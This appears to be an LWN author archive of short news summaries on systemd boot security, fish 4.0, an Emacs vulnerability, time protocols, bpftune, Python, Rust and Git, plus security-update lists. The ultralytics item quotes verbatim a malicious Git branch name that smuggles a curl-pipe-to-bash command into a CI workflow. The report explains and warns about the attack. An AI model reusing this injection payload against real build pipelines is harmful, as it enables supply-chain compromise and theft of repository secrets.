All posts by daroc

[$] Systemd takes steps toward a more secure boot process

Post Syndicated from daroc original https://lwn.net/Articles/1001730/

The systemd project has been working for some time on

promoting

unified kernel
images (UKIs), a format that bundles a kernel, initial disk image, kernel command line, and
other associated data into a single file. The advantage of the format is the ability to
authenticate the entire collection with secure boot, which makes it easier for
end users to know that their operating system hasn’t been tampered with. The
downside is the lack of flexibility and increase in disk usage, since all of the
things packaged in a UKI must be updated together. But the

recent systemd 257 release (along with other changes to be covered in

a future article) includes some
major changes to the UKI format, and the rest of the boot process, that
partially mitigate those downsides. The release also includes improvements for
hardware-locked disk encryption, which may also help secure some computers.

Fish shell announces 4.0 release

Post Syndicated from daroc original https://lwn.net/Articles/1002820/

fish is a shell with a custom language and several affordances not available out of the box in other shells, such as directory-sensitive command completion. Although the project does not normally make beta releases, the

newly announced 4.0 release
will have one in order to ensure that no problems were introduced

after a major effort to switch the code base from C++ to Rust.

fish is a smart and user-friendly command line shell with clever features that just work, without needing an advanced degree in bash scriptology. Today we are announcing an open beta, inviting all users to try out the upcoming 4.0 release.

fish 4.0 is a big upgrade. It’s got lots of new features to make using the command line easier and more enjoyable, such as more natural key binding and expanded history search. And under the hood, we’ve rebuilt the foundation in Rust to embrace modern computing.

[$] Emacs code completion can cause compromise

Post Syndicated from daroc original https://lwn.net/Articles/1002046/

Emacs has had a
few bugs related to accidentally
permitting the execution of untrusted code. Unfortunately, it seems as though
another bug of that sort has appeared — and may be harder to patch,
because the problem comes from the way Emacs handles expansion of Lisp macros in
code being analyzed. The
vulnerability is only practically exploitable in a non-default configuration, so
not every Emacs user has something to worry about. The Emacs
developers are reportedly working on a fix, but have not yet shared details
about it. In the meantime, every Emacs version since at least
26.1 (released in May 2018) through the current development version is vulnerable.

[$] Providing precise time over the network

Post Syndicated from daroc original https://lwn.net/Articles/1000434/

Handling time in a networked environment is never easy. The

Network Time Protocol (NTP) has been used to synchronize clocks across the
internet for almost 40 years — but, as computers and networks get faster, the
degree of synchronization it offers is not sufficient for some use cases. The

Precision Time Protocol (PTP) attempts to provide more precise
time synchronization, at the
expense of requiring dedicated kernel and hardware
support. The Linux kernel has

supported PTP since 2011, but the protocol has recently seen

increasing use in data centers. As PTP becomes more widespread, it may be
useful to have an idea how it compares to NTP.

Security updates for Friday

Post Syndicated from daroc original https://lwn.net/Articles/1002036/

Security updates have been issued by Debian (chromium, pgpool2, and smarty4), Fedora (chromium, linux-firmware, matrix-synapse, open62541, and thunderbird), Red Hat (kernel, kernel-rt, python3.11, python3.12, python3.9:3.9.18, python3.9:3.9.21, and ruby:2.5), SUSE (buildah, chromium, govulncheck-vulndb, java-1_8_0-ibm, libsvn_auth_gnome_keyring-1-0, python310-Django, qemu, and radare2), and Ubuntu (linux, linux-aws, linux-aws-6.8, linux-gcp, linux-gcp-6.8, linux-gke,
linux-ibm, linux-lowlatency, linux-lowlatency-hwe-6.8, linux-oem-6.8,
linux-oracle, linux-oracle-6.8, linux-raspi, linux, linux-gcp, linux-gcp-5.4, linux-hwe-5.4, linux-ibm, linux-ibm-5.4,
linux-kvm, linux-raspi, linux-xilinx-zynqmp, linux-gkeop, linux-nvidia, linux-nvidia-6.8, linux-nvidia-lowlatency, php7.0, php7.2, python-asyncssh, and smarty3).

[$] Auto-tuning the kernel

Post Syndicated from daroc original https://lwn.net/Articles/998576/

The Linux kernel has many tunable parameters. While there is much advice
available on the internet about how to set them, few people have the time to
weed through the (often contradictory) explanations and choose appropriate
values. One possible way to address this is

a project called bpftune, a
program that uses BPF to track various metrics about a running system and
adjust the sysctl knobs appropriately. The program is developed by Oracle, and
is available under a GPLv2 license. Bpftune is currently mostly
focused on optimizing network settings, but the authors hope that the system is
flexible enough to be extended to cover other settings.

Fedora Steering Council election interviews

Post Syndicated from daroc original https://lwn.net/Articles/1001522/

When the Fedora Engineering Steering Council (FESCo) is up for election, the project posts
interviews of the candidates in order to help Fedora contributors make an informed choice. This
year, the candidates are

Zbigniew Jędrzejewski-Szmek,

Tomáš Hrčka,

Josh Stone,

David Cantrell,

Fabio Alessandro Locati, and

Kevin Fenzi.
All of them except for Locati are current members of the steering council.
Voting is open until December 20.

[$] Finally continuing the discussion over continue in finally

Post Syndicated from daroc original https://lwn.net/Articles/1000635/

In 2019, the Python community had a

lengthy discussion about changing the rules (that some find counterintuitive) on
using break, continue, or return statements in
finally blocks. These are all ways of jumping out of a finally
block, which can interrupt the handling of a raised exception.
At the time, the Python developers chose not to change
things, because the consensus was that the existing behavior was not a problem. Now, after
a
report put together by Irit Katriel, the project is once again considering
changing the language.

Abusing Git branch names to compromise a PyPI package

Post Syndicated from daroc original https://lwn.net/Articles/1001215/

A compromised release was uploaded to PyPI after a project automatically processed a pull request with a flawed script.
The GitHub account

“OpenIM Robot”
(which appears to be controlled by
Xinwei Xiong) opened
a pull request for the

ultralytics
Python package. The pull request included a suspicious Git branch name:

openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

Unfortunately, ultralytics uses the
pull_request_target GitHub Action trigger to automate some of its continuous integration tasks. This runs a script from the base branch of the repository, which has access to the repository’s secrets — but that script was vulnerable to a shell injection attack from the branch name of the pull request. The injected script appears to have used the credentials it had access to in order to compromise a later release uploaded to PyPI to include a cryptocurrency miner. It is hard to be sure of the details, because GitHub has already pulled the malicious script.

This problem has been
known for several years, but this event may serve as a good reminder to be careful with automated access to important secrets.

Security updates for Friday

Post Syndicated from daroc original https://lwn.net/Articles/1001164/

Security updates have been issued by AlmaLinux (firefox, postgresql, postgresql:12, postgresql:13, postgresql:15, postgresql:16, python3:3.6.8, and thunderbird), Debian (clamav), Fedora (pam), Red Hat (firefox, postgresql:13, postgresql:15, python-tornado, redis:7, ruby, ruby:2.5, and ruby:3.1), SUSE (avahi, docker-stable, java-1_8_0-openjdk, libmozjs-128-0, obs-scm-bridge, php8, and teleport), and Ubuntu (ghostscript, needrestart, and shiro).

[$] Rust’s incremental compiler architecture

Post Syndicated from daroc original https://lwn.net/Articles/997784/

The traditional structure of a compiler forms a pipeline — parsing,
type-checking, optimization, and code-generation, usually in that order. But
modern programming languages have requirements that are ill-suited to such a
design. Increasingly, compilers are moving toward other designs in
order to support incremental compilation and low-latency responses for uses
like integration into IDEs. Rust has, for the last eight years, been pursuing a
particularly unusual design; in that time
compile times have

substantially improved, but there’s still more work to be done.

Security updates for Friday

Post Syndicated from daroc original https://lwn.net/Articles/1000185/

Security updates have been issued by Debian (firefox-esr, redis, twisted, and tzdata), Fedora (firefox, nss, pam, rust-rustls, rust-zlib-rs, thunderbird, tuned, and xen), and SUSE (cobbler, kernel, libjxl-devel, libuv, postgresql12, postgresql14, postgresql15, python-waitress, seamonkey, tomcat, and tomcat10).

Giving thanks for the LWN community

Post Syndicated from daroc original https://lwn.net/Articles/1000097/

Earlier today, one of our subscribers, anselm, posted the one millionth item in our database during a discussion in the comments about the GPL. One million articles and comments is a big milestone — one representing twenty two years of work by both the editors of LWN and the community. I think reaching this milestone on Thanksgiving is a lovely coincidental reminder of how far LWN has come, and how that wouldn’t have been possible without your support. So thank you for reading.

[$] NonStop discussion around adding Rust to Git

Post Syndicated from daroc original https://lwn.net/Articles/998115/

The Linux kernel community’s discussions about including Rust have

gotten a lot of attention, but the kernel is not the only project wrestling
with the question of whether to allow Rust. The Git project

discussed the prospect in January, and then

again at the Git Contributor’s Summit in September. Complicating the
discussion is the Git project’s lack of a policy on platform
support, and the fact that it does already have tools written in other
languages.
While the project has not committed to using
or avoiding Rust, it seems like only a matter of time until maintainers will
have to make a decision.